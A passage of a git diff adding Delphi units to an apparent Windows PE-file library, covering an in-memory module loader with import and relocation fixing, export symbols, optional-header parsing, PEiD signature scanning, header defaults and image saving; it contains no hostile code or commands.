PrefferedVa: UInt64; + Options: TExecutableLoadingOptions): TMapStatus; +var + EntryOK: boolean; +begin + if IsImageMapped then + exit(msImageAlreadyMapped); + + Result := msError; + + FOptions := Options; + + if + Check('Map Sections', Result, MapSections(PrefferedVa)) and + Check('Map Header', Result, MapHeader()) and + Check('Fix Relocation', Result, Relocate()) and + Check('Fix Imports', Result, LoadImports()) and + Check('Protect Sections', Result, ProtectSections()) then + begin + if FPE.EntryPointRVA = 0 then + FEntry := nil + else + FEntry := Pointer(FInstance + FPE.EntryPointRVA); + + // If don't need to call entry or there is no entry just skip this part + if (not Assigned(FEntry)) or (not(elo_CallEntryPoint in FOptions)) then + EntryOK := True + // Call Entry Point. + else if FPE.IsDLL then + begin + FPE.Msg.Write('Calling DLL Entry with DLL_PROCESS_ATTACH.'); + EntryOK := TDLLEntry(FEntry)(FInstance, DLL_PROCESS_ATTACH, nil); + if not EntryOK then + FPE.Msg.Write('DLL returned FALSE.'); + end + else + begin + FPE.Msg.Write('Calling EXE Entry.'); + TEXEEntry(FEntry)(); + EntryOK := True; + end; + + if EntryOK then + exit(msOK) + else + Result := msEntryPointFailure; + end; + + // If something failed. + Unload; +end; + +function TExecutableModule.Unload: boolean; +begin + if not IsImageMapped then + exit(True); + + if (elo_CallEntryPoint in FOptions) and Assigned(FEntry) then + begin + // DLL finalization. + if FPE.IsDLL then + begin + FPE.Msg.Write('Calling DLL Entry with DLL_PROCESS_DETACH.'); + TDLLEntry(FEntry)(FInstance, DLL_PROCESS_DETACH, nil); + end; + end; + + // Unload imported libraries. + UnloadImports; + + // Free image memory + VirtualFree(Pointer(FInstance), FSizeOfImage, MEM_RELEASE); + FInstance := 0; + + Result := True; +end; + +procedure TExecutableModule.UnloadImports; +var + Pair: TPair<string, HMODULE>; +begin + for Pair in FLoadedImports do + begin + FPE.Msg.Write('Unloading import "%s"', [Pair.Key]); + FreeLibrary(Pair.Value); + end; + FLoadedImports.Clear; +end; + +{ TMapStatusHelper } + +const + MapStatusText: array [TMapStatus] of string = ( + 'OK', + 'Image already mapped', + 'Error', + 'Image size error', + 'Map sections error', + 'Section allocation error', + 'Protect sections error', + 'Import library not found', + 'Import name not found', + 'Import ordinal not found', + 'Entry point failure' + ); + +function TMapStatusHelper.ToString: string; +begin + if self in [low(TMapStatus) .. high(TMapStatus)] then + Result := MapStatusText[self] + else + Result := '???'; +end; + +end. diff --git a/Core/PE/PE.ExportSym.pas b/Core/PE/PE.ExportSym.pas new file mode 100755 index 0000000..d12eb1f --- /dev/null +++ b/Core/PE/PE.ExportSym.pas @@ -0,0 +1,203 @@ +{ + PE Exported symbols are case-sensitive. +} +unit PE.ExportSym; + +interface + +uses + Generics.Collections, + SysUtils, + PE.Common; + +type + + { TPEExportSym } + + TPEExportSym = class + public + RVA: TRVA; + Ordinal: uint32; + Name: String; + ForwarderName: String; + Forwarder: boolean; + + // Is this symbol has RVA or is forwarder. + function IsValid: boolean; inline; + + procedure Clear; + function Clone: TPEExportSym; + + // Parse forwarder name of following structure: "LibName.FuncName". + // Return true if both names before and after dot found. + function GetForwarderLibAndFuncName(out Lib, Name: string): boolean; + end; + + PPEExportSym = ^TPEExportSym; + + TPEExportSymVec = TList<TPEExportSym>; + TPEExportSymByRVA = TDictionary<TRVA, TPEExportSym>; + + { TPEExportSyms } + + TPEExportSyms = class + private + FItems: TPEExportSymVec; + // FItemsByRVA: TPEExportSymByRVA; + function GetCount: integer; + + //procedure ExportSymNotify(Sender: TObject; const Item: TPEExportSym; + //Action: TCollectionNotification); + procedure ExportSymNotify(Sender: TObject; constref Item: TPEExportSym; + Action: TCollectionNotification); + public + constructor Create; + destructor Destroy; override; + + // Add item to list of symbols. + // If SetOrdinal is True, src Item ordinal will be set to last sym number. + procedure Add(Sym: TPEExportSym; SetOrdinal: boolean = false); + + // Add symbol by Name. + procedure AddByName(RVA: TRVA; const Name: String); + + // Usually you don't need to set Ordinal, because ordinals are auto-incremented. + procedure AddByOrdinal(RVA: TRVA; Ordinal: dword = 0); + + procedure AddForwarder(const Name, ForwarderName: String); + + procedure Clear; + + // Get item by RVA or nil if not found. + // todo: there can be many exports with same RVA + // function GetItemByRVA(RVA: TRVA): TPEExportSym; inline; + + property Count: integer read GetCount; + property Items: TPEExportSymVec read FItems; + end; + +implementation + +function TPEExportSym.Clone: TPEExportSym; +begin + result := TPEExportSym.Create; + result.RVA := self.RVA; + result.Ordinal := self.Ordinal; + result.Name := self.Name; + result.ForwarderName := self.ForwarderName; + result.Forwarder := self.Forwarder; +end; + +function TPEExportSym.GetForwarderLibAndFuncName(out Lib, Name: string): boolean; +var + arr: TArray<string>; +begin + arr := string(ForwarderName).Split(['.']); + result := length(arr) = 2; + if result then + begin + Lib := arr[0]; + name := arr[1]; + end + else + begin + Lib := ''; + name := ''; + end; +end; + +function TPEExportSym.IsValid: boolean; +begin + // Either forwarder or has rva. + result := Forwarder or (RVA <> 0); +end; + +procedure TPEExportSym.Clear; +begin + RVA := 0; + Ordinal := 0; + Name := ''; + ForwarderName := ''; + Forwarder := false; +end; + +{ TExportSyms } + +procedure TPEExportSyms.Add(Sym: TPEExportSym; SetOrdinal: boolean = false); +begin + if SetOrdinal then + Sym.Ordinal := FItems.Count + 1; + FItems.Add(Sym); +end; + +procedure TPEExportSyms.AddByName(RVA: TRVA; const Name: String); +var + Sym: TPEExportSym; +begin + Sym := TPEExportSym.Create; + Sym.RVA := RVA; + Sym.Name := Name; + Add(Sym, True); +end; + +procedure TPEExportSyms.AddByOrdinal(RVA: TRVA; Ordinal: dword); +var + Sym: TPEExportSym; +begin + Sym := TPEExportSym.Create; + Sym.RVA := RVA; + Sym.Ordinal := Ordinal; + Add(Sym, Ordinal = 0); +end; + +procedure TPEExportSyms.AddForwarder(const Name, ForwarderName: String); +var + Sym: TPEExportSym; +begin + Sym := TPEExportSym.Create; + Sym.Name := Name; + Sym.ForwarderName := ForwarderName; + Sym.Forwarder := True; + Add(Sym, True); +end; + +procedure TPEExportSyms.Clear; +begin + FItems.Clear; + // FItemsByRVA.Clear; +end; + +constructor TPEExportSyms.Create; +begin + FItems := TPEExportSymVec.Create; + FItems.OnNotify := ExportSymNotify; + + // FItemsByRVA := TPEExportSymByRVA.Create; +end; + +destructor TPEExportSyms.Destroy; +begin + // FItemsByRVA.Free; + FItems.Free; + inherited; +end; + +procedure TPEExportSyms.ExportSymNotify(Sender: TObject; + constref Item: TPEExportSym; Action: TCollectionNotification); +begin + if Action = cnRemoved then + Item.Free; +end; + +function TPEExportSyms.GetCount: integer; +begin + result := FItems.Count; +end; + +// function TPEExportSyms.GetItemByRVA(RVA: TRVA): TPEExportSym; +// begin +// if not FItemsByRVA.TryGetValue(RVA, result) then +// result := nil; +// end; + +end. diff --git a/Core/PE/PE.FileHeaderToStr.pas b/Core/PE/PE.FileHeaderToStr.pas new file mode 100755 index 0000000..b00fba0 --- /dev/null +++ b/Core/PE/PE.FileHeaderToStr.pas @@ -0,0 +1,66 @@ +{ + Module to convert constants of PE.Types.FileHeader to string. +} +unit PE.FileHeaderToStr; + +interface + +uses + PE.Image, + PE.Types.FileHeader; + +function MachineToStr(PE: TPEImage): string; + +implementation + +function MachineToStr(PE: TPEImage): string; +begin + case PE.FileHeader^.Machine of + IMAGE_FILE_MACHINE_UNKNOWN: + Result := ''; // The contents of this field are assumed to be applicable to any machine type + IMAGE_FILE_MACHINE_AM33: + Result := 'Matsushita AM33'; + IMAGE_FILE_MACHINE_AMD64: + Result := 'x64'; + IMAGE_FILE_MACHINE_ARM: + Result := 'ARM little endian'; + IMAGE_FILE_MACHINE_ARMV7: + Result := 'ARMv7 (or higher) Thumb mode only'; + IMAGE_FILE_MACHINE_EBC: + Result := 'EFI byte code'; + IMAGE_FILE_MACHINE_I386: + Result := 'Intel 386 and compatible processors'; + IMAGE_FILE_MACHINE_IA64: + Result := 'Intel Itanium processor family'; + IMAGE_FILE_MACHINE_M32R: + Result := 'Mitsubishi M32R little endian'; + IMAGE_FILE_MACHINE_MIPS16: + Result := 'MIPS16'; + IMAGE_FILE_MACHINE_MIPSFPU: + Result := 'MIPS with FPU'; + IMAGE_FILE_MACHINE_MIPSFPU16: + Result := 'MIPS16 with FPU'; + IMAGE_FILE_MACHINE_POWERPC: + Result := 'Power PC little endian'; + IMAGE_FILE_MACHINE_POWERPCFP: + Result := 'Power PC with floating point support'; + IMAGE_FILE_MACHINE_R4000: + Result := 'MIPS little endian'; + IMAGE_FILE_MACHINE_SH3: + Result := 'Hitachi SH3'; + IMAGE_FILE_MACHINE_SH3DSP: + Result := 'Hitachi SH3 DSP'; + IMAGE_FILE_MACHINE_SH4: + Result := 'Hitachi SH4'; + IMAGE_FILE_MACHINE_SH5: + Result := 'Hitachi SH5'; + IMAGE_FILE_MACHINE_THUMB: + Result := 'ARM or Thumb (interworking)'; + IMAGE_FILE_MACHINE_WCEMIPSV2: + Result := 'MIPS little-endian WCE v2'; + else + Result := 'Unknown Machine'; + end; +end; + +end. diff --git a/Core/PE/PE.Headers.pas b/Core/PE/PE.Headers.pas new file mode 100755 index 0000000..b2fac3f --- /dev/null +++ b/Core/PE/PE.Headers.pas @@ -0,0 +1,278 @@ +{ + Unified Optional Header. + Represents both 32 and 64 bit. + Directories not included. +} + +unit PE.Headers; + +interface + +uses + Classes; + +type + + { ********************************************************************************************************************** + * Comparision of optional headers + ********************************************************************************************************************** + * TImageOptionalHeader32 = packed record TImageOptionalHeader64 = packed record + * + * // Standard fields. // Standard fields. + * Magic : uint16; Magic : uint16; + * + * MajorLinkerVersion : uint8; MajorLinkerVersion : uint8; + * MinorLinkerVersion : uint8; MinorLinkerVersion : uint8; + * SizeOfCode : uint32; SizeOfCode : uint32; + * SizeOfInitializedData : uint32; SizeOfInitializedData : uint32; + * SizeOfUninitializedData : uint32; SizeOfUninitializedData : uint32; + * AddressOfEntryPoint : uint32; AddressOfEntryPoint : uint32; + * BaseOfCode : uint32; BaseOfCode : uint32; + * + * BaseOfData : uint32; // PE32 only + * + * // NT additional fields. // NT additional fields. + * ImageBase : uint32; ImageBase : uint64; + * + * SectionAlignment : uint32; SectionAlignment : uint32; + * FileAlignment : uint32; FileAlignment : uint32; + * MajorOperatingSystemVersion : uint16; MajorOperatingSystemVersion : uint16; + * MinorOperatingSystemVersion : uint16; MinorOperatingSystemVersion : uint16; + * MajorImageVersion : uint16; MajorImageVersion : uint16; + * MinorImageVersion : uint16; MinorImageVersion : uint16; + * MajorSubsystemVersion : uint16; MajorSubsystemVersion : uint16; + * MinorSubsystemVersion : uint16; MinorSubsystemVersion : uint16; + * Win32VersionValue : uint32; Win32VersionValue : uint32; + * SizeOfImage : uint32; SizeOfImage : uint32; + * SizeOfHeaders : uint32; SizeOfHeaders : uint32; + * CheckSum : uint32; CheckSum : uint32; + * Subsystem : uint16; Subsystem : uint16; + * DllCharacteristics : uint16; DllCharacteristics : uint16; + * + * SizeOfStackReserve : uint32; SizeOfStackReserve : uint64; + * SizeOfStackCommit : uint32; SizeOfStackCommit : uint64; + * SizeOfHeapReserve : uint32; SizeOfHeapReserve : uint64; + * SizeOfHeapCommit : uint32; SizeOfHeapCommit : uint64; + * + * LoaderFlags : uint32; LoaderFlags : uint32; + * NumberOfRvaAndSizes : uint32; NumberOfRvaAndSizes : uint32; + * + * DataDirectories : TImageDataDirectories; DataDirectories : TImageDataDirectories; + * end; end; + ********************************************************************************************************************** + } + + UIntCommon = uint64; + + TPEOptionalHeader = packed record + + // Standard fields. + Magic: uint16; + + MajorLinkerVersion: uint8; + MinorLinkerVersion: uint8; + SizeOfCode: uint32; + SizeOfInitializedData: uint32; + SizeOfUninitializedData: uint32; + AddressOfEntryPoint: uint32; + BaseOfCode: uint32; + + // PE32 only + BaseOfData: uint32; + + // NT additional fields. + ImageBase: UIntCommon; + + SectionAlignment: uint32; + FileAlignment: uint32; + MajorOperatingSystemVersion: uint16; + MinorOperatingSystemVersion: uint16; + MajorImageVersion: uint16; + MinorImageVersion: uint16; + MajorSubsystemVersion: uint16; + MinorSubsystemVersion: uint16; + Win32VersionValue: uint32; + SizeOfImage: uint32; + SizeOfHeaders: uint32; + CheckSum: uint32; + Subsystem: uint16; + DllCharacteristics: uint16; + + SizeOfStackReserve: UIntCommon; + SizeOfStackCommit: UIntCommon; + SizeOfHeapReserve: UIntCommon; + SizeOfHeapCommit: UIntCommon; + + LoaderFlags: uint32; + NumberOfRvaAndSizes: uint32; + + // Return number of bytes read. + function ReadFromStream(Stream: TStream; ImageBits: uint32; MaxSize: integer): uint32; + + // Return number of bytes written. + function WriteToStream(Stream: TStream; ImageBits: uint32; MaxSize: integer): uint32; + + // Calcualte size of normal optional header. + function CalcSize(ImageBits: uint32): uint32; + + end; + + PPEOptionalHeader = ^TPEOptionalHeader; + +implementation + +uses + SysUtils, + PE.RTTI; + +const + RF_SIZE8 = 1 shl 0; + RF_SIZE16 = 1 shl 1; + RF_SIZE32 = 1 shl 2; + RF_SIZE64 = 1 shl 3; + RF_SIZEMACHINE = 1 shl 4; // Size is (32 or 64) in 64 bit slot. + RF_PE32 = 1 shl 5; // Present in 32-bit image. + RF_PE64 = 1 shl 6; // Present in 64-bit image. + + RF_PE3264 = RF_PE32 or RF_PE64; + + COMMON_08 = RF_SIZE8 or RF_PE3264; + COMMON_16 = RF_SIZE16 or RF_PE3264; + COMMON_32 = RF_SIZE32 or RF_PE3264; + COMMON_MACHINE = RF_SIZEMACHINE or RF_PE3264; + +const + MACHINE_DWORD_SIZE = -1; + + OptionalHeaderFieldDesc: packed array [0 .. 29] of TRecordFieldDesc = + ( + (Flags: COMMON_16; FieldName: 'Magic'), + + (Flags: COMMON_08; FieldName: 'MajorLinkerVersion'), + (Flags: COMMON_08; FieldName: 'MinorLinkerVersion'), + (Flags: COMMON_32; FieldName: 'SizeOfCode'), + (Flags: COMMON_32; FieldName: 'SizeOfInitializedData'), + (Flags: COMMON_32; FieldName: 'SizeOfUninitializedData'), + (Flags: COMMON_32; FieldName: 'AddressOfEntryPoint'), + (Flags: COMMON_32; FieldName: 'BaseOfCode'), + + (Flags: RF_SIZE32 or RF_PE32; FieldName: 'BaseOfData'), + + (Flags: COMMON_MACHINE; FieldName: 'ImageBase'), + + (Flags: COMMON_32; FieldName: 'SectionAlignment'), + (Flags: COMMON_32; FieldName: 'FileAlignment'), + (Flags: COMMON_16; FieldName: 'MajorOperatingSystemVersion'), + (Flags: COMMON_16; FieldName: 'MinorOperatingSystemVersion'), + (Flags: COMMON_16; FieldName: 'MajorImageVersion'), + (Flags: COMMON_16; FieldName: 'MinorImageVersion'), + (Flags: COMMON_16; FieldName: 'MajorSubsystemVersion'), + (Flags: COMMON_16; FieldName: 'MinorSubsystemVersion'), + (Flags: COMMON_32; FieldName: 'Win32VersionValue'), + (Flags: COMMON_32; FieldName: 'SizeOfImage'), + (Flags: COMMON_32; FieldName: 'SizeOfHeaders'), + (Flags: COMMON_32; FieldName: 'CheckSum'), + (Flags: COMMON_16; FieldName: 'Subsystem'), + (Flags: COMMON_16; FieldName: 'DllCharacteristics'), + + (Flags: COMMON_MACHINE; FieldName: 'SizeOfStackReserve'), + (Flags: COMMON_MACHINE; FieldName: 'SizeOfStackCommit'), + (Flags: COMMON_MACHINE; FieldName: 'SizeOfHeapReserve'), + (Flags: COMMON_MACHINE; FieldName: 'SizeOfHeapCommit'), + + (Flags: COMMON_32; FieldName: 'LoaderFlags'), + (Flags: COMMON_32; FieldName: 'NumberOfRvaAndSizes') + ); + +type + TPECtx = record + ImageBits: uint32; + end; + + PPECtx = ^TPECtx; + +procedure ResolveProc(Desc: PRecordFieldDesc; OutFieldSize, OutEffectiveSize: PInteger; ud: pointer); +begin + OutFieldSize^ := 0; + OutEffectiveSize^ := 0; + + // OutFieldSize (mandatory) + if ((Desc^.Flags and RF_SIZE8) <> 0) then + OutFieldSize^ := 1 + else if ((Desc^.Flags and RF_SIZE16) <> 0) then + OutFieldSize^ := 2 + else if ((Desc^.Flags and RF_SIZE32) <> 0) then + OutFieldSize^ := 4 + else if ((Desc^.Flags and RF_SIZE64) <> 0) then + OutFieldSize^ := 8 + else if ((Desc^.Flags and RF_SIZEMACHINE) <> 0) then + OutFieldSize^ := SizeOf(UIntCommon) + else + raise Exception.Create('Unsupported image.'); + + if ((Desc^.Flags and RF_PE3264) = RF_PE32) and (PPECtx(ud)^.ImageBits <> 32) then + exit; + if ((Desc^.Flags and RF_PE3264) = RF_PE64) and (PPECtx(ud)^.ImageBits <> 64) then + exit; + + // OutEffectiveSize + if ((Desc^.Flags and RF_SIZE8) <> 0) then + OutEffectiveSize^ := 1 + else if ((Desc^.Flags and RF_SIZE16) <> 0) then + OutEffectiveSize^ := 2 + else if ((Desc^.Flags and RF_SIZE32) <> 0) then + OutEffectiveSize^ := 4 + else if ((Desc^.Flags and RF_SIZE64) <> 0) then + OutEffectiveSize^ := 8 + else if ((Desc^.Flags and RF_SIZEMACHINE) <> 0) then + OutEffectiveSize^ := PPECtx(ud)^.ImageBits div 8 + else + raise Exception.Create('Unsupported image.'); + +end; + +{ TPEOptionalHeader } + +function TPEOptionalHeader.CalcSize(ImageBits: uint32): uint32; +var + ctx: TPECtx; +begin + ctx.ImageBits := ImageBits; + + Result := RTTI_Process(nil, RttiCalcSize, @Self, + @OptionalHeaderFieldDesc[0], Length(OptionalHeaderFieldDesc), + -1, + ResolveProc, + @ctx); +end; + +function TPEOptionalHeader.ReadFromStream; +var + ctx: TPECtx; +begin + // Not all fields can be read, so must clear whole structure. + FillChar(Self, SizeOf(Self), 0); + + ctx.ImageBits := ImageBits; + + Result := RTTI_Process(Stream, RttiRead, @Self, + @OptionalHeaderFieldDesc[0], Length(OptionalHeaderFieldDesc), + MaxSize, + ResolveProc, + @ctx); +end; + +function TPEOptionalHeader.WriteToStream; +var + ctx: TPECtx; +begin + ctx.ImageBits := ImageBits; + + Result := RTTI_Process(Stream, RttiWrite, @Self, + @OptionalHeaderFieldDesc[0], Length(OptionalHeaderFieldDesc), + MaxSize, + ResolveProc, + @ctx); +end; + +end. diff --git a/Core/PE/PE.ID.pas b/Core/PE/PE.ID.pas new file mode 100755 index 0000000..3d2a893 --- /dev/null +++ b/Core/PE/PE.ID.pas @@ -0,0 +1,223 @@ +{ + This is unit to parse PEID signature base text file. +} +unit PE.ID; + +interface + +uses + System.Classes, + System.Generics.Collections, + System.SysUtils, + + PE.Common, + PE.Image, + PE.Section, + PE.Search; + +type + TPEIDSignature = record + public + Text: string; + Pattern: TBytes; + Mask: TBytes; + end; + + TPEIDSignatureList = TList<TPEIDSignature>; + + { Class which contain PEID signatures. } + TPEIDSignatures = class + private + FSigsEpOnly: TPEIDSignatureList; + FSigsAnywhere: TPEIDSignatureList; + public + constructor Create; + destructor Destroy; override; + + property SigsEpOnly: TPEIDSignatureList read FSigsEpOnly; + property SigsAnywhere: TPEIDSignatureList read FSigsAnywhere; + end; + + { + Try to load signatures. + Returns nil if failed or created class on success. + } +function PeidLoadSignatures(const SigFileName: string): TPEIDSignatures; + +{ + Scan section at RVA for Signatures and return Found signature names. +} +procedure PeidScanSection( + PE: TPEImage; + RVA: TRVA; + Signatures: TPEIDSignatureList; + Found: TStringList); + +procedure PeidScan( + PE: TPEImage; + Signatures: TPEIDSignatures; + Found: TStringList); + +implementation + +{ For string like "key = value" return value } +function GetStrPairValue(const Line: string): string; +var + a: integer; +begin + a := Line.IndexOf('='); + if a < 0 then + result := '' + else + result := Line.Substring(a + 1).Trim; +end; + +function PeidLoadSignatures(const SigFileName: string): TPEIDSignatures; +var + sl: TStringList; + i: integer; + Line, PatternText: string; + sig: TPEIDSignature; + EntryPointOnly: Boolean; +begin + result := nil; + + if not FileExists(SigFileName) then + exit; + + { Do so simple parsing by loading into string list and parsing each line. } + sl := TStringList.Create; + try + sl.LoadFromFile(SigFileName); + i := 0; + while i < sl.count do + begin + Line := sl[i]; + + { Skip empty lines and comments } + if Line.IsEmpty or Line.StartsWith(';') then + begin + inc(i); + continue; + end; + + { Expect signature text like [Some text] } + if Line.StartsWith('[') and Line.EndsWith(']') then + begin + { This is 3-line signature descriptor. Check if we have 3 lines. } + if i + 3 > sl.count then + begin + break; + end; + + { Check format of next 2 lines } + if + (not sl[i + 1].StartsWith('signature = ')) or + (not sl[i + 2].StartsWith('ep_only = ')) then + begin + break; + end; + + { Check pattern format is correct and get fields. } + PatternText := GetStrPairValue(sl[i + 1]); + + if not StringToPattern(PatternText, sig.Pattern, sig.Mask) then + begin + break; + end; + + sig.Text := Line.Substring(1, Line.Length - 2); + + EntryPointOnly := GetStrPairValue(sl[i + 2]).ToLower = 'true'; + + { Got at least one signature, add it to list } + if not Assigned(result) then + result := TPEIDSignatures.Create; + + if EntryPointOnly then + result.FSigsEpOnly.Add(sig) + else + result.FSigsAnywhere.Add(sig); + + inc(i, 3); + end; + end; + + if Assigned(result) then + begin + result.FSigsEpOnly.TrimExcess; + result.FSigsAnywhere.TrimExcess; + end; + finally + sl.Free; + end; +end; + +procedure PeidScanSection( + PE: TPEImage; + RVA: TRVA; + Signatures: TPEIDSignatureList; + Found: TStringList); +var + sec: TPESection; + sig: TPEIDSignature; + offset: uint32; +begin + if not PE.RVAToSec(RVA, @sec) then + exit; + + for sig in Signatures do + begin + offset := RVA - sec.RVA; + if SearchBytes(sec, sig.Pattern, sig.Mask, offset, 0) then + begin + Found.Add(sig.Text); + end; + end; +end; + +procedure PeidScan( + PE: TPEImage; + Signatures: TPEIDSignatures; + Found: TStringList); +var + sec: TPESection; + sig: TPEIDSignature; + offset: uint32; +begin + if PE.Sections.count = 0 then + exit; + + { First try EPOnly signatures } + PeidScanSection(PE, PE.EntryPointRVA, Signatures.SigsEpOnly, Found); + + sec := PE.Sections.First; + + for sig in Signatures.SigsAnywhere do + begin + offset := 0; + while SearchBytes(sec, sig.Pattern, sig.Mask, offset, 1) do + begin + inc(offset); + Found.Add(sig.Text); + end; + end; +end; + +{ TPEIDSignatures } + +constructor TPEIDSignatures.Create; +begin + inherited Create; + FSigsEpOnly := TPEIDSignatureList.Create; + FSigsAnywhere := TPEIDSignatureList.Create; +end; + +destructor TPEIDSignatures.Destroy; +begin + FSigsEpOnly.Free; + FSigsAnywhere.Free; + inherited; +end; + +end. diff --git a/Core/PE/PE.Image.Defaults.pas b/Core/PE/PE.Image.Defaults.pas new file mode 100755 index 0000000..f862bb9 --- /dev/null +++ b/Core/PE/PE.Image.Defaults.pas @@ -0,0 +1,108 @@ +unit PE.Image.Defaults; + +interface + +type + TPEDefaults = record + private + FPE: TObject; + public + constructor Create(PEImage: TObject); + + procedure SetImageBits; + procedure SetFileAlignment; + procedure SetSectionAlignment; + procedure SetFileHdr; + procedure SetOptionalHeader; + procedure SetLFANew; + + procedure SetAll; + end; + +implementation + +uses + // Expand + PE.Headers, + // + PE.Common, + PE.Image, + PE.Types.DOSHeader, + PE.Types.FileHeader; + +{ TPEDefaults } + +constructor TPEDefaults.Create(PEImage: TObject); +begin + FPE := PEImage; +end; + +procedure TPEDefaults.SetAll; +begin + SetLFANew; + SetImageBits; + SetFileAlignment; + SetSectionAlignment; + SetFileHdr; + SetOptionalHeader; + + TPEImage(FPE).DataDirectories.Put(15, 0, 0); // 16 directories by default +end; + +procedure TPEDefaults.SetFileAlignment; +begin + with TPEImage(FPE) do + if FileAlignment = 0 then + FileAlignment := DEFAULT_SECTOR_SIZE; +end; + +procedure TPEDefaults.SetFileHdr; +begin + with TPEImage(FPE).FileHeader^ do + begin + if Machine = 0 then + Machine := IMAGE_FILE_MACHINE_I386; + if Characteristics = 0 then + Characteristics := IMAGE_FILE_RELOCS_STRIPPED + + IMAGE_FILE_EXECUTABLE_IMAGE + IMAGE_FILE_32BIT_MACHINE; + end; +end; + +procedure TPEDefaults.SetImageBits; +begin + with TPEImage(FPE) do + if ImageBits = 0 then + ImageBits := 32; +end; + +procedure TPEDefaults.SetLFANew; +begin + if TPEImage(FPE).LFANew = 0 then + TPEImage(FPE).LFANew := SizeOf(TImageDosHeader); +end; + +procedure TPEDefaults.SetOptionalHeader; +begin + with TPEImage(FPE).OptionalHeader^ do + begin + if MajorSubsystemVersion = 0 then + MajorSubsystemVersion := 4; + if SizeOfStackCommit = 0 then + SizeOfStackCommit := $1000; + if SizeOfHeapReserve = 0 then + SizeOfHeapReserve := $100000; + if Subsystem = 0 then + Subsystem := IMAGE_SUBSYSTEM_WINDOWS_GUI; + if ImageBase = 0 then + ImageBase := $400000; + end; +end; + +procedure TPEDefaults.SetSectionAlignment; +begin + with TPEImage(FPE) do + if SectionAlignment = 0 then + SectionAlignment := DEFAULT_PAGE_SIZE; +end; + +end. diff --git a/Core/PE/PE.Image.Saving.pas b/Core/PE/PE.Image.Saving.pas new file mode 100755 index 0000000..98010b5 --- /dev/null +++ b/Core/PE/PE.Image.Saving.pas @@ -0,0 +1,245 @@ +{$WARN COMBINING_SIGNED_UNSIGNED OFF} +unit PE.Image.Saving; + +interface + +uses + Classes, + SysUtils; + +// If SavingModifiedImage is True some fields like header size and image size +// are recalculated and updated. If it's False it's assumed image is already +// built (or just loaded) and only headers writing done. +function SaveHeaders(APE: TObject; AStream: TStream; SavingModifiedImage: boolean): boolean; + +function SaveImageToStream(APE: TObject; AStream: TStream; SavingModifiedImage : Boolean): boolean; + +implementation + +uses + // To expand. + PE.Headers, + PE.Common, + PE.DataDirectories, + // + PE.Types.DOSHeader, + PE.Types.FileHeader, + PE.Types.NTHeaders, + PE.Types.OptionalHeader, + PE.Types.Directories, + PE.Types.Sections, + PE.Image, + PE.Section, + PE.Sections, + PE.Utils, + + PE.Build.Export; + +{ DOS } + +function DoDosHdr(PE: TPEImage; AStream: TStream): boolean; +var + h: PImageDOSHeader; + DosBlockSize: integer; +begin + h := PE.DOSHeader; + h^.e_magic.SetMZ; + h^.e_lfanew := PE.LFANew; + + // Write DOS header. + Result := StreamWrite(AStream, h^, SizeOf(h^)); + + // Write DOS block. + DosBlockSize := Length(PE.DosBlock); + if DosBlockSize <> 0 then + StreamWrite(AStream, PE.DosBlock[0], DosBlockSize); +end; + +{ NT } + +function DoFileHdr(PE: TPEImage; AStream: TStream): boolean; +begin + if StreamWrite(AStream, PE00_SIGNATURE, SizeOf(PE00_SIGNATURE)) then + if StreamWrite(AStream, PE.FileHeader^, SizeOf(PE.FileHeader^)) then + exit(true); + exit(false); +end; + +{ Optional } + +function DoOptHdrAndDirs(PE: TPEImage; AStream: TStream): boolean; +var + OptHdrSize: integer; + DDirSize: integer; +begin + // Update # of dirs. + PE.OptionalHeader.NumberOfRvaAndSizes := PE.DataDirectories.Count; + // Write optional header. + OptHdrSize := PE.OptionalHeader.WriteToStream(AStream, PE.ImageBits, -1); + // Write dirs. + DDirSize := PE.DataDirectories.SaveDirectoriesToStream(AStream); + // Update size of opt. hdr. + PE.FileHeader.SizeOfOptionalHeader := OptHdrSize + DDirSize; + + Result := PE.FileHeader.SizeOfOptionalHeader <> 0; +end; + +{ Sec Hdr } + +procedure FillSecHdrRawOfs(PE: TPEImage; ofsSecHdr: uint32); +var + sec: TPESection; + ofs: uint64; +begin + ofs := ofsSecHdr + PE.Sections.Count * SizeOf(TImageSectionHeader); + for sec in PE.Sections do + begin + // Process only TPESection. + if sec.ClassType <> TPESection then + continue; + + ofs := AlignUp(ofs, PE.FileAlignment); + sec.RawOffset := ofs; + inc(ofs, sec.RawSize); + end; +end; + +function DoSecHdr(PE: TPEImage; AStream: TStream): boolean; +var + Sec: TPESection; + h: TImageSectionHeader; +begin + for Sec in PE.Sections do + begin + // Process only TPESection. + if sec.ClassType <> TPESection then + continue; + + h := Sec.ImageSectionHeader; + if not StreamWrite(AStream, h, SizeOf(h)) then + exit(False); + end; + exit(true); +end; + +function DoSecHdrGap(PE: TPEImage; AStream: TStream): boolean; +var + size: integer; +begin + size := Length(PE.SecHdrGap); + if size <> 0 then + if not StreamWrite(AStream, PE.SecHdrGap[0], size) then + exit(False); + exit(true); +end; + +procedure DoSecData(PE: TPEImage; AStream: TStream); +var + sec: TPESection; + SizeToWrite: uint32; + PaddingSize: uint32; +begin + for sec in PE.Sections do + begin + // Process only TPESection. + if sec.ClassType <> TPESection then + continue; + + StreamSeekWithPadding(AStream, sec.RawOffset); + + if sec.RawSize > sec.VirtualSize then + begin + SizeToWrite := sec.VirtualSize; + PaddingSize := sec.RawSize - sec.VirtualSize; + end + else + begin + SizeToWrite := sec.RawSize; + PaddingSize := 0; + end; + + AStream.Write(sec.Mem^, SizeToWrite); + WritePattern(AStream, PaddingSize, nil, 0); + end; +end; + +function SaveHeaders(APE: TObject; AStream: TStream; SavingModifiedImage: boolean): boolean; +var + PE: TPEImage; + ofsFileHdr, ofsSecHdr: uint32; +begin + Result := False; + + PE := TPEImage(APE); + + // save dos + if not DoDosHdr(PE, AStream) then + exit; + + ofsFileHdr := PE.LFANew; + + // skip file header now + if not StreamSeek(AStream, ofsFileHdr + SizeOf(TImageFileHeader) + 4) then + exit; + + if SavingModifiedImage then + begin + // update size of image header + PE.FixSizeOfImage; + + // update size of headers + PE.FixSizeOfHeaders; + end; + + // save optional + if not DoOptHdrAndDirs(PE, AStream) then + exit; + + ofsSecHdr := AStream.Position; + + // now write file header + if not StreamSeek(AStream, ofsFileHdr) then + exit; + if not DoFileHdr(PE, AStream) then + exit; + + // go back to sec hdr + if not StreamSeek(AStream, ofsSecHdr) then + exit; + + if SavingModifiedImage then + begin + // Fill RawData offsets for Section Headers. + FillSecHdrRawOfs(PE, ofsSecHdr); + end; + + // write sec hdr + if not DoSecHdr(PE, AStream) then + exit; + + exit(true); +end; + +function SaveImageToStream(APE: TObject; AStream: TStream; SavingModifiedImage : Boolean): boolean; +var + PE: TPEImage; +begin + Result := False; + + PE := 